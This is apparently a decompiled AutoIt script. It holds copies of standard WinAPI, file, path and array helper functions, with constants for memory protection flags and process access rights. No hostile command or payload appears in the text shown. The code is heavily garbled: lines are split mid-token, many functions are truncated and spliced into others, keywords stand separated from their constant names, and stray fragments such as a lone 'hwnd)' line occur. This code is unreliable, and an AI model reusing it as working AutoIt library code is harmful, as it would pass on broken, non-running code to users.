$__gainprocess_winapi[0][0] = $icount
$__gainprocess_winapi[$icount][0] = $hwnd
$__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
Return $__gainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[
EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "ws
tr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $picons = DllStructGetPtr($ticons)
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $picon
s, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $
hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle"
, $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($lgidprimary, $lgidsub)
Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
Func _winapi_makelcid($lgid, $srtid)
Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($lodword, $hidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)
)
DllStructSetData($tdwords, 1, $lodword)
DllStructSetData($tdwords, 2, $hidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound
Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $i
sound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & "
EndFunc
")
EndFunc
Func _winapi_setendoffile($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle
", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $
hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handl
e", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd
)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "
hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation",
"handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 25
5, $dwflags = 3, $iscolorref = False)
If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
If NOT $iscolorref Then
$i_transcolor = Hex(String($i_transcolor), 6)
$i_transcolor = Execute("0x00" & StringMid($i_transcolor, 5, 2)
& StringMid($i_transcolor, 3, 2) & StringMid($i_transcolor, 1, 2))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttribut
es", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwf
lags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwn
dchild, "hwnd", $hwndparent)
hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "han
dle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itim
eout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects"
, "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "
handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "ptr"
If IsDllStruct($punicode) Then
$punicode = DllStructGetPtr($punicode)
Else
If NOT IsPtr($punicode) Then $sunicodetype = "wstr"
EndIf
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "
uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "i
nt", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
Local $pmultibyte = DllStructGetPtr($tmultibyte)
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint",
$icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", $pmultibyte
, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $tpointcast = DllStructCreate("int64", DllStructGetPtr($tpoint))
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "int64
", DllStructGetData($tpointcast, 1))
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handl
e", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0
)
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
$gmem_fixed = 0
$gmem_moveable = 2
$gmem_nocompact = 16
$gmem_nodiscard = 32
$gmem_zeroinit = 64
$gmem_modify = 128
$gmem_discardable = 256
$gmem_not_banked = 4096
$gmem_share = 8192
$gmem_ddeshare = 8192
$gmem_notify = 16384
$gmem_lower = 4096
$gmem_valid_flags = 32626
$gmem_invalid_handle = 32768
$gptr = $gmem_fixed + $gmem_zeroinit
$ghnd = $gmem_moveable + $gmem_zeroinit
$mem_commit = 4096
$mem_reserve = 8192
$mem_top_down = 1048576
$mem_shared = 134217728
$page_noaccess = 1
$page_readonly = 2
$page_readwrite = 4
$page_execute = 16
$page_execute_read = 32
$page_execute_readwrite = 64
$page_guard = 256
$page_nocache = 512
$mem_decommit = 16384
$mem_release = 32768
$process_terminate = 1
$process_create_thread = 2
$process_set_sessionid = 4
$process_vm_operation = 8
$process_vm_read = 16
$process_vm_write = 32
$process_dup_handle = 64
Global
Global
Global
Global
Global
Global
Global
Const
Const
Const
Const
Const
Const
Const
$process_create_process = 128
$process_set_quota = 256
$process_set_information = 512
$process_query_information = 1024
$process_suspend_resume = 2048
$process_all_access = 2035711
$tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
Return 1
EndFunc
Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
$spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
If NOT FileExists($spath) Then Return SetError(1, 1, "")
If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError
(2, 2, "")
If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3,
3, "")
$hsearch = FileFindFirstFile($spath & $sfilter)
If @error Then Return SetError(4, 4, "")
While 1
$sfile = FileFindNextFile($hsearch)
If @error Then ExitLoop
If ($iflag + @extended = 2) Then ContinueLoop
$sfilelist &= $sdelim & $sfile
WEnd
FileClose($hsearch)
If NOT $sfilelist Then Return SetError(4, 4, "")
Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
EndFunc
Func _fileprint($s_file, $i_show = @SW_HIDE)
Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0,
"wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
If @error Then Return SetError(@error, @extended, 0)
If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
Return 1
EndFunc
Func _filereadtoarray($sfilepath, ByRef $aarray)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $afile = FileRead($hfile, FileGetSize($sfilepath))
If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
FileClose($hfile)
If StringInStr($afile, @LF) Then
$aarray = StringSplit(StringStripCR($afile), @LF)
ElseIf StringInStr($afile, @CR) Then
$aarray = StringSplit($afile, @CR)
Else
If StringLen($afile) Then
Dim $aarray[2] = [1, $afile]
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return 1
EndFunc
Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0)
If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
Local $last = UBound($a_array) - 1
If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
If $i_base < 0 OR $i_base > $last Then $i_base = 0
Local $hfile
If IsString($file) Then
FileWrite($hfile, $sread_file)
FileClose($hfile)
Return 1
EndFunc
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
Local $sfullpath = StringReplace($srelativepath, "/", "\")
Local Const $sfullpathconst = $sfullpath
Local $spath
Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullp
ath, 2, 1) <> "\"
For $i = 1 To 2
$spath = StringLeft($sfullpath, 2)
If $spath = "\\" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
Local $nserverlen = StringInStr($sfullpath, "\") - 1
$spath = "\\" & StringLeft($sfullpath, $nserverlen)
$sfullpath = StringTrimLeft($sfullpath, $nserverlen)
ExitLoop
ElseIf StringRight($spath, 1) = ":" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
ExitLoop
Else
$sfullpath = $sbasepath & "\" & $sfullpath
EndIf
Next
If $i = 3 Then Return ""
If StringLeft($sfullpath, 1) <> "\" Then
If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Th
en
$sfullpath = $sbasepath & "\" & $sfullpath
Else
$sfullpath = "\" & $sfullpath
EndIf
EndIf
Local $atemp = StringSplit($sfullpath, "\")
Local $apathparts[$atemp[0]], $j = 0
For $i = 2 To $atemp[0]
If $atemp[$i] = ".." Then
If $j Then $j -= 1
ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i]
<> "." Then
$apathparts[$j] = $atemp[$i]
$j += 1
EndIf
Next
$sfullpath = $spath
If NOT $brootonly Then
For $i = 0 To $j - 1
$sfullpath &= "\" & $apathparts[$i]
Next
Else
$sfullpath &= $sfullpathconst
If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sf
ullpath)
EndIf
While StringInStr($sfullpath, ".\")
$sfullpath = StringReplace($sfullpath, ".\", "\")
WEnd
Return $sfullpath
EndFunc
Func _pathgetrelative($sfrom, $sto)
If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
If StringRight($sto, 1) <> "\" Then $sto &= "\"
If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
Local $asfrom = StringSplit($sfrom, "\")
Local $asto = StringSplit($sto, "\")
If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($st
o, 1))
Local $i = 2
Local $idiff = 1
While 1
If $asfrom[$i] <> $asto[$i] Then
$idiff = $i
ExitLoop
EndIf
$i += 1
WEnd
$i = 1
Local $srelpath = ""
For $j = 1 To $asto[0]
If $i >= $idiff Then
$srelpath &= "\" & $asto[$i]
EndIf
$i += 1
Next
$srelpath = StringTrimLeft($srelpath, 1)
$i = 1
For $j = 1 To $asfrom[0]
If $i > $idiff Then
$srelpath = "..\" & $srelpath
EndIf
$i += 1
Next
If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($sr
elpath, 1)
Return $srelpath
EndFunc
Func _pathmake($szdrive, $szdir, $szfname, $szext)
If StringLen($szdrive) Then
If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLe
ft($szdrive, 1) & ":"
EndIf
If StringLen($szdir) Then
If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdi
r, 1) = "/") Then $szdir = $szdir & "\"
EndIf
If StringLen($szext) Then
If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
EndIf
Return $szdrive & $szdir & $szfname & $szext
EndFunc
Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $sz
ext)
Local $drive = ""
Local $dir = ""
$sendswith = @LF
Else
$sendswith = ""
EndIf
Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
FileClose($hfile)
Local $hwritehandle = FileOpen($szfilename, $fo_overwrite)
If $hwritehandle = -1 Then Return SetError(2, 0, -1)
For $ncount = 1 To $afilelines[0]
If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness
) Then
$afilelines[$ncount] = StringReplace($afilelines[$ncount
], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
$iretval = $iretval + 1
If $foccurance = 0 Then
$iretval = 1
ExitLoop
EndIf
EndIf
Next
For $ncount = 1 To $afilelines[0] - 1
If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
FileClose($hwritehandle)
Return SetError(3, 0, -1)
EndIf
Next
If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[
$ncount] & $sendswith)
FileClose($hwritehandle)
Return $iretval
EndFunc
Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextensio
n = ".tmp", $i_randomlength = 7)
If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_di
rectoryname & "\"
Local $s_tempname
Do
$s_tempname = ""
While StringLen($s_tempname) < $i_randomlength
$s_tempname = $s_tempname & Chr(Random(97, 122, 1))
WEnd
$s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $
s_fileextension
Until NOT FileExists($s_tempname)
Return $s_tempname
EndFunc
Func _arrayadd(ByRef $avarray, $vvalue)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
Local $iubound = UBound($avarray)
ReDim $avarray[$iubound + 1]
$avarray[$iubound] = $vvalue
Return $iubound
EndFunc
Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)
EndIf
Next
EndIf
Local $vtmp, $ibuffer = 64
Local $icollimit = 250
Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Op
t("GUIDataSeparatorChar", $sseparator)
If $isubmax < 0 Then $isubmax = 0
If $itranspose Then
$vtmp = $iubound
$iubound = $isubmax
$isubmax = $vtmp
EndIf
If $isubmax > $icollimit Then $isubmax = $icollimit
If $iitemlimit < 1 Then $iitemlimit = $iubound
If $iubound > $iitemlimit Then $iubound = $iitemlimit
If $sheader = "" Then
$sheader = "Row "
For $i = 0 To $isubmax
$sheader &= $sseparator & "Col " & $i
Next
EndIf
Local $avarraytext[$iubound + 1]
For $i = 0 To $iubound
$avarraytext[$i] = "[" & $i & "]"
For $j = 0 To $isubmax
If $idimension = 1 Then
If $itranspose Then
$vtmp = $avarray[$j]
Else
$vtmp = $avarray[$i]
EndIf
Else
If $itranspose Then
$vtmp = $avarray[$j][$i]
Else
$vtmp = $avarray[$i][$j]
EndIf
EndIf
$vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0,
1)
$avarraytext[$i] &= $sseparator & $vtmp
$vtmp = StringLen($vtmp)
If $vtmp > $ibuffer Then $ibuffer = $vtmp
Next
Next
$ibuffer += 1
Local Const $_arrayconstant_gui_dockborders = 102
Local Const $_arrayconstant_gui_dockbottom = 64
Local Const $_arrayconstant_gui_dockheight = 512
Local Const $_arrayconstant_gui_dockleft = 2
Local Const $_arrayconstant_gui_dockright = 4
Local Const $_arrayconstant_gui_event_close = -3
Local Const $_arrayconstant_lvif_param = 4
Local Const $_arrayconstant_lvif_text = 1
Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
Local Const $_arrayconstant_lvm_insertitemw = (4096 + 77)
Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
$iwidth = 0
For $i = 0 To $isubmax + 1
$iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcol
umnwidth, $i, 0)
Next
If $iwidth < 250 Then $iwidth = 230
$iwidth += 20
If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
GUISetState(@SW_SHOW, $hgui)
While 1
Switch GUIGetMsg()
Case $_arrayconstant_gui_event_close
ExitLoop
Case $hcopy
Local $sclip = ""
Local $aicuritems[1] = [0]
For $i = 0 To GUICtrlSendMsg($hlistview, $_array
constant_lvm_getitemcount, 0, 0)
If GUICtrlSendMsg($hlistview, $_arraycon
stant_lvm_getitemstate, $i, 2) Then
$aicuritems[0] += 1
ReDim $aicuritems[$aicuritems[0]
+ 1]
$aicuritems[$aicuritems[0]] = $i
EndIf
Next
If NOT $aicuritems[0] Then
For $sitem In $avarraytext
$sclip &= $sitem & @CRLF
Next
Else
For $i = 1 To UBound($aicuritems) - 1
$sclip &= $avarraytext[$aicurite
ms[$i]] & @CRLF
Next
EndIf
ClipPut($sclip)
EndSwitch
WEnd
GUIDelete($hgui)
Opt("GUIOnEventMode", $ioneventmode)
Opt("GUIDataSeparatorChar", $sdataseparatorchar)
Return 1
EndFunc
Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase
= 0, $ipartial = 0, $isubitem = 0)
$istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $ipart
ial, 1, $isubitem)
If @error Then Return SetError(@error, 0, -1)
Local $iindex = 0, $avresult[UBound($avarray)]
Do
$avresult[$iindex] = $istart
$iindex += 1
$istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $i
case, $ipartial, 1, $isubitem)
Until @error
ReDim $avresult[$iindex]
Return $avresult
EndFunc
Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $iubound = UBound($avarray) + 1
ReDim $avarray[$iubound]
For $i = $iubound - 1 To $ielement + 1 Step -1
$avarray[$i] = $avarray[$i - 1]
Next
$avarray[$ielement] = $vvalue
Return $iubound
EndFunc
Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
If @error Then Return SetError(@error, 0, "")
Return $avarray[$iresult]
EndFunc
Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend
= 0)
If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetErro
r(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, -1)
Local $imaxindex = $istart
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$imaxindex]) < Number($avarray[$i]) T
hen $imaxindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex =
$i
Next
EndIf
Return $imaxindex
EndFunc
Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
If @error Then Return SetError(@error, 0, "")
Return $avarray[$iresult]
EndFunc
Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend
= 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, -1)
Local $iminindex = $istart
If $icompnumeric Then
Next
For $i = 0 To $iubounds - 1
$avarray[$i + $iubound - $iubounds + 1] = $vvalu
e[$i]
Next
EndIf
Else
If $idirection Then
For $i = $iubound To 1 Step -1
$avarray[$i] = $avarray[$i - 1]
Next
$avarray[0] = $vvalue
Else
For $i = 0 To $iubound - 1
$avarray[$i] = $avarray[$i + 1]
Next
$avarray[$iubound] = $vvalue
EndIf
EndIf
Return 1
EndFunc
Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
Local $vtmp, $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
For $i = $istart To Int(($istart + $iend - 1) / 2)
$vtmp = $avarray[$i]
$avarray[$i] = $avarray[$iend]
$avarray[$iend] = $vtmp
$iend -= 1
Next
Return 1
EndFunc
Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase
= 0, $ipartial = 0, $iforward = 1, $isubitem = -1)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetErr
or(2, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
Local $istep = 1
If NOT $iforward Then
Local $itmp = $istart
$istart = $iend
$iend = $itmp
$istep = -1
EndIf
Switch UBound($avarray, 0)
Case 1
If NOT $ipartial Then
If NOT $icase Then
For $i = $istart To $iend Step $istep
If $avarray[$i] = $vvalue Then R
eturn $i
Next
Else
For $i = $istart To $iend Step $istep
If $avarray[$i] == $vvalue Then
Return $i
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If StringInStr($avarray[$i], $vvalue, $i
case) > 0 Then Return $i
Next
EndIf
Case 2
Local $iuboundsub = UBound($avarray, 2) - 1
If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
If $isubitem < 0 Then
$isubitem = 0
Else
$iuboundsub = $isubitem
EndIf
For $j = $isubitem To $iuboundsub
If NOT $ipartial Then
If NOT $icase Then
For $i = $istart To $iend Step $
istep
If $avarray[$i][$j] = $v
value Then Return $i
Next
Else
For $i = $istart To $iend Step $
istep
If $avarray[$i][$j] == $
vvalue Then Return $i
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If StringInStr($avarray[$i][$j],
$vvalue, $icase) > 0 Then Return $i
Next
EndIf
Next
Case Else
Return SetError(7, 0, -1)
EndSwitch
Return SetError(6, 0, -1)
EndFunc
Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubi
tem = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
Switch UBound($avarray, 0)
Case 1
__arrayquicksort1d($avarray, $istart, $iend)
$r -= 1
WEnd
EndIf
If $l <= $r Then
$vtmp = $avarray[$l]
$avarray[$l] = $avarray[$r]
$avarray[$r] = $vtmp
$l += 1
$r -= 1
EndIf
Until $l > $r
__arrayquicksort1d($avarray, $istart, $r)
__arrayquicksort1d($avarray, $l, $iend)
EndFunc
Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend
, ByRef $isubitem, ByRef $isubmax)
If $iend <= $istart Then Return
Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart +
$iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
Do
If $fnum Then
While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0
AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem])
AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
$l += 1
WEnd
While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0
AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem])
AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
$r -= 1
WEnd
Else
While ($istep * StringCompare($avarray[$l][$isubitem], $
vpivot) < 0)
$l += 1
WEnd
While ($istep * StringCompare($avarray[$r][$isubitem], $
vpivot) > 0)
$r -= 1
WEnd
EndIf
If $l <= $r Then
For $i = 0 To $isubmax
$vtmp = $avarray[$l][$i]
$avarray[$l][$i] = $avarray[$r][$i]
$avarray[$r][$i] = $vtmp
Next
$l += 1
$r -= 1
EndIf
Until $l > $r
__arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
__arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
EndFunc
Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
Local $vtmp = $vitem1
$vitem1 = $vitem2
$vitem2 = $vtmp
EndFunc
Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
If @error Then Return SetError(@error, 0, 0)
Return ClipPut($sresult)
EndFunc
Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, "")
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
Local $sresult, $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, "")
For $i = $istart To $iend
$sresult &= $avarray[$i] & $sdelim
Next
Return StringTrimRight($sresult, StringLen($sdelim))
EndFunc
Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend =
0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(5, 0, 0)
If $idirection Then
For $i = $istart To $iend
$avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
Next
Else
For $i = $istart To $iend
$avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
Next
EndIf
Return 1
EndFunc
Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|
")
Local $iubounddim
If $vdelim = "|" Then $vdelim = Chr(1)
If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
If NOT $idimension > 0 Then
Return SetError(3, 0, 0)
Else
$iubounddim = UBound($aarray, 1)
If @error Then Return SetError(3, 0, 0)
If $idimension > 1 Then
Local $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i][$idimension 1])
